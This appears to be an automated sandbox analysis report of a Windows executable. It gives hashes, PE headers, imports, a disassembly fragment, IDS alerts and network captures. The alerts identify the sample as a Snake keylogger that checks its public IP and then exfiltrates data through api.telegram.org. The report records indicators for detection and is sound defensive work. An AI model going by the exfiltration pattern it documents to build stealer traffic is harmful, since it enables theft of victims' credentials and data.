SHA256:	d88aeea1b3297511f942b7caab86deab58ed647d5a6bbce0844b83481dd259a7
SHA512:	b17030da305ea24aab7f043e82134b6177512f22b3b0a34963f642033e095c12a316f4a44b315508a8d9c6a90ee31ca969d2d2559b59904ab0d0ce80476d9f29
SSDEEP:	24576:Xu6J33O0c+JY5UZ+XC0kGso6FadpcV1WY:xu0c++OCvkGs9FadyiY
TLSH:	1715AE2273DDC360CB669173BF6AB7056EBF3C610630B85B2F980D7DA950161262D7A3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6...r}..r}..r}..4,".p}......s}.../..A}.../#..}.../".G}..{.@.{}..{.P.W}..r}..R.....)."}......s}.../..s}..r}T.s}......s}..Richr}.

File Icon


Icon Hash:	aaf3e3e3938382a0

Static PE Info

General

Entrypoint:	0x427dcd
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67696C64 [Mon Dec 23 13:57:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	afcdf79be1557326c854b6e20cb900a7

Entrypoint Preview

Instruction
call 00007FBCC4BF58CAh
jmp 00007FBCC4BE8694h
int3
int3
int3
int3
int3
int3
int3
int3
int3
push edi
push esi
mov esi, dword ptr [esp+10h]
mov ecx, dword ptr [esp+14h]
mov edi, dword ptr [esp+0Ch]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe 00007FBCC4BE881Ah
cmp edi, eax
jc 00007FBCC4BE8B7Eh
bt dword ptr [004C31FCh], 01h
jnc 00007FBCC4BE8819h
rep movsb
jmp 00007FBCC4BE8B2Ch
cmp ecx, 00000080h
jc 00007FBCC4BE89E4h
mov eax, edi
xor eax, esi
test eax, 0000000Fh
jne 00007FBCC4BE8820h
bt dword ptr [004BE324h], 01h
jc 00007FBCC4BE8CF0h
bt dword ptr [004C31FCh], 00000000h
jnc 00007FBCC4BE89BDh
test edi, 00000003h
jne 00007FBCC4BE89CEh
test esi, 00000003h
jne 00007FBCC4BE89ADh
bt edi, 02h
jnc 00007FBCC4BE881Fh
mov eax, dword ptr [esi]
sub ecx, 04h
lea esi, dword ptr [esi+04h]
mov dword ptr [edi], eax
lea edi, dword ptr [edi+04h]
bt edi, 03h
jnc 00007FBCC4BE8823h
movq xmm1, qword ptr [esi]
sub ecx, 08h
lea esi, dword ptr [esi+08h]
movq qword ptr [edi], xmm1
lea edi, dword ptr [edi+08h]
test esi, 00000007h
je 00007FBCC4BE8875h
bt esi, 03h
jnc 00007FBCC4BE88C8h

Rich Headers

Programming Language:

[ASM] VS2013 build 21005
[ C ] VS2013 build 21005
[C++] VS2013 build 21005
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[ASM] VS2013 UPD4 build 31101
[RES] VS2013 build 21005
[LNK] VS2013 UPD4 build 31101

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xba44c	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc7000	0x20b40	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xe8000	0x711c	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x92bc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xa4870	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8f000	0x884	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x8dcc4	0x8de00	d28a820a1d9ff26cda02d12b888ba4b4	False	0.5728679102422908	data	6.676118058520316	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8f000	0x2e10e	0x2e200	79b14b254506b0dbc8cd0ad67fb70ad9	False	0.33535526761517614	OpenPGP Public Key	5.76010872795207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xbe000	0x8f74	0x5200	9f9d6f746f1a415a63de45f8b7983d33	False	0.1017530487804878	data	1.198745897703538	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xc7000	0x20b40	0x20c00	27863fb35a2fe723e2781fa3f0b102ce	False	0.7990368559160306	data	7.530634556970464	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xe8000	0x711c	0x7200	6fcae3cbbf6bfbabf5ec5bbe7cf612c3	False	0.7650767543859649	data	6.779031650454199	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xc75a8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xc76d0	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xc77f8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xc7920	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	English	Great Britain	0.3333333333333333
RT_ICON	0xc7c08	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	English	Great Britain	0.5
RT_ICON	0xc7d30	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	English	Great Britain	0.2835820895522388
RT_ICON	0xc8bd8	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	English	Great Britain	0.37906137184115524
RT_ICON	0xc9480	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	English	Great Britain	0.23699421965317918
RT_ICON	0xc99e8	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	English	Great Britain	0.13858921161825727
RT_ICON	0xcbf90	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	English	Great Britain	0.25070356472795496
RT_ICON	0xcd038	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	English	Great Britain	0.3173758865248227
RT_MENU	0xcd4a0	0x50	data	English	Great Britain	0.9
RT_STRING	0xcd4f0	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xcda84	0x68a	data	English	Great Britain	0.2747909199522103
RT_STRING	0xce110	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xce5a0	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xceb9c	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xcf1f8	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xcf660	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xcf7b8	0x17e08	data			1.0003680981595091
RT_GROUP_ICON	0xe75c0	0x76	data	English	Great Britain	0.6610169491525424
RT_GROUP_ICON	0xe7638	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0xe764c	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0xe7660	0x14	data	English	Great Britain	1.25
RT_VERSION	0xe7674	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0xe7750	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	WSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
VERSION.dll	GetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
WININET.dll	InternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
USERENV.dll	DestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
USER32.dll	AdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
GDI32.dll	StrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
COMDLG32.dll	GetOpenFileNameW, GetSaveFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
SHELL32.dll	DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
OLEAUT32.dll	LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T21:50:12.980194+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.6.168	80	TCP
2024-12-23T21:50:20.370754+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49730	193.122.6.168	80	TCP
2024-12-23T21:50:21.959607+0100	1810008	Joe Security ANOMALY Telegram Send File	1	192.168.2.4	49732	149.154.167.220	443	TCP
2024-12-23T21:50:22.759148+0100	2057744	ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram	1	192.168.2.4	49732	149.154.167.220	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 21:50:06.751559973 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:06.871191978 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:06.871278048 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:06.872189999 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:06.991592884 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:12.194752932 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:12.200730085 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:12.320472002 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:12.929435968 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:12.980194092 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:13.117285967 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:13.117398977 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:13.117489100 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:13.128449917 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:13.128493071 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.357244968 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.357372999 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:14.363632917 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:14.363667011 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.364218950 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.417618990 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:14.418540955 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:14.459343910 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.805088043 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.805154085 CET	443	49731	104.21.67.152	192.168.2.4
Dec 23, 2024 21:50:14.805326939 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:14.813358068 CET	49731	443	192.168.2.4	104.21.67.152
Dec 23, 2024 21:50:19.916575909 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:20.058106899 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:20.324302912 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:50:20.370754004 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:50:20.490653992 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:20.490709066 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:20.490777016 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:20.491200924 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:20.491214991 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:21.904944897 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:21.905019045 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:21.909363985 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:21.909375906 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:21.909753084 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:21.915019989 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:21.959337950 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:21.959510088 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:21.959518909 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:22.759144068 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:22.760751009 CET	443	49732	149.154.167.220	192.168.2.4
Dec 23, 2024 21:50:22.760848045 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:50:22.761169910 CET	49732	443	192.168.2.4	149.154.167.220
Dec 23, 2024 21:51:25.325413942 CET	80	49730	193.122.6.168	192.168.2.4
Dec 23, 2024 21:51:25.327538967 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:51:54.824346066 CET	49730	80	192.168.2.4	193.122.6.168
Dec 23, 2024 21:51:54.945280075 CET	80	49730	193.122.6.168	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 21:50:06.574455023 CET	52124	53	192.168.2.4	1.1.1.1
Dec 23, 2024 21:50:06.713393927 CET	53	52124	1.1.1.1	192.168.2.4
Dec 23, 2024 21:50:12.974881887 CET	56116	53	192.168.2.4	1.1.1.1
Dec 23, 2024 21:50:13.116233110 CET	53	56116	1.1.1.1	192.168.2.4
Dec 23, 2024 21:50:20.344038010 CET	62646	53	192.168.2.4	1.1.1.1
Dec 23, 2024 21:50:20.490004063 CET	53	62646	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 23, 2024 21:50:06.574455023 CET	192.168.2.4	1.1.1.1	0x2df3	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:12.974881887 CET	192.168.2.4	1.1.1.1	0x89a	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:20.344038010 CET	192.168.2.4	1.1.1.1	0x20dd	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:06.713393927 CET	1.1.1.1	192.168.2.4	0x2df3	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:13.116233110 CET	1.1.1.1	192.168.2.4	0x89a	No error (0)	reallyfreegeoip.org		104.21.67.152	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:13.116233110 CET	1.1.1.1	192.168.2.4	0x89a	No error (0)	reallyfreegeoip.org		172.67.177.134	A (IP address)	IN (0x0001)	false
Dec 23, 2024 21:50:20.490004063 CET	1.1.1.1	192.168.2.4	0x20dd	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

reallyfreegeoip.org

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.122.6.168	80	7324	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 21:50:06.872189999 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Dec 23, 2024 21:50:12.194752932 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 20:50:11 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 23, 2024 21:50:12.200730085 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Dec 23, 2024 21:50:12.929435968 CET	273	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 20:50:12 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>
Dec 23, 2024 21:50:19.916575909 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
